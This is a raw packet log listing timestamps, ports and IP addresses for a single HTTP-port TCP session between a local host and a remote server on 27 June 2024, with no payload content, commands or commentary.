Jun 27, 2024 06:44:21.381949902 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.381963015 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.381977081 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.381989002 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.381989002 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.381989956 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.382005930 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.382009029 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.382019043 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.382019997 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.382050037 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.382051945 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.382066011 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.382080078 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.382108927 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.382108927 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.382186890 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.382200956 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.382215023 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.382229090 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.382230043 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.382242918 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.382256031 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.382261992 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.382261992 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.382271051 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.382285118 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.382299900 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.382299900 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.382323980 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.382415056 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.382428885 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.382442951 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.382456064 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.382469893 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.382477045 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.382477045 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.382500887 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.382534981 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.382565975 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.382577896 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.382591009 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.382606030 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.382618904 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.382622957 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.382632017 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.382644892 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.382644892 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.382644892 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.382668018 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.382669926 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.382669926 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.382682085 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.382694960 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.382709980 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.382709980 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.382709980 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.382724047 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.382738113 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.382751942 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.382756948 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.382756948 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.382766008 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.382780075 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.382785082 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.382807970 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.382843971 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.383021116 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.383034945 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.383049011 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.383066893 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.383094072 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.383168936 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.383183956 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.383191109 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.383205891 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.383212090 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.383219957 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.383232117 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.383234024 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.383246899 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.383248091 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.383261919 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.383264065 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.383275986 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.383285999 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.383290052 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.383302927 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.383316040 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.383316994 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.383330107 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.383343935 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.383343935 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.383358002 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.383373022 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.383382082 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.383382082 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.383420944 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.383631945 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.383646965 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.383661032 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.383675098 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.383688927 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.383693933 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.383693933 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.383702040 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.383717060 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.383717060 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.383730888 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.383744001 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.383758068 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.383768082 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.383768082 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.383771896 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.383785963 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.383800030 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.383815050 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.383815050 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.383826017 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.467415094 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.467432976 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.467456102 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.467469931 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.467483997 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.467487097 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.467487097 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.467499018 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.467514038 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.467530012 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.467534065 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.467566967 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.467566967 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.467586040 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.467600107 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.467614889 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.467622042 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.467629910 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.467653990 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.467653990 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.467668056 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.467694044 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.467709064 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.467725039 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.467736959 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.467736959 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.467755079 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.467782021 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.467786074 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.467797041 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.467811108 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.467824936 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.467833996 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.467854023 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.467856884 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.467868090 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.467883110 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.467886925 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.467886925 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.467910051 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.467915058 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.467952013 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.467952013 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.468079090 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.468125105 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.468139887 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.468161106 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.468202114 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.468204975 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.468216896 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.468271971 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.468276978 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.468291044 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.468305111 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.468319893 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.468333960 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.468333960 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.468333960 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.468367100 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.468390942 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.468405008 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.468419075 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.468435049 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.468450069 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.468451023 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.468451023 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.468489885 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.468570948 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.468584061 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.468597889 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.468612909 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.468622923 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.468626976 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.468631029 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.468641043 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.468668938 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.468679905 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.468688011 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.468700886 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.468722105 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.468724012 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.468735933 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.468748093 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.468749046 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.468749046 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.468764067 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.468765974 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.468779087 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.468801975 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.468801975 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.468820095 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.468835115 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.468848944 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.468863010 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.468863964 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.468863964 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.468894958 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.468962908 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.468977928 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.468991995 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.469007969 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.469027996 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.469086885 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.469086885 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.469086885 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.469113111 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.469126940 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.469141960 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.469156981 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.469170094 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.469196081 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.469196081 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.469240904 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.469243050 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.469255924 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.469269991 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.469284058 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.469305038 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.469319105 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.469330072 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.469330072 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.469353914 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.469353914 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.469371080 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.469436884 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.469451904 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.469465017 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.469480038 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.469491959 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.469491959 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.469502926 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.469511032 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.469517946 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.469532013 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.469533920 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.469547033 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.469548941 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.469562054 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.469575882 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.469575882 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.469575882 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.469589949 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.469599962 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.469628096 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.469651937 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.469666958 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.469800949 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.469815016 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.469827890 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.469832897 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.469832897 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.469842911 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.469858885 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.469862938 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.469862938 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.469873905 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.469887972 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.469893932 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.469893932 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.469902039 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.469912052 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.469916105 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.469924927 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.469929934 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.469969988 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.469969988 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.470160007 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.470174074 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.470190048 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.470204115 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.470216990 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.470232010 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.470236063 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.470236063 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.470246077 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.470268011 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.470274925 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.470274925 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.470283031 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.470292091 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.470297098 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.470312119 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.470318079 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.470328093 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.470351934 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.470351934 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.470383883 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.470386982 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.470401049 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.470419884 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.470441103 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.470441103 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.470467091 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.470527887 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.470541954 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.470556021 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.470571041 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.470581055 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.470581055 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.470585108 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.470599890 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.470613956 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.470624924 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.470624924 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.470628023 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.470643044 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.470665932 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.470665932 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.470666885 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.470705986 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.470705986 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.554461956 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.554491997 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.554507971 CEST	80	49719	5.42.67.8	192.168.2.5
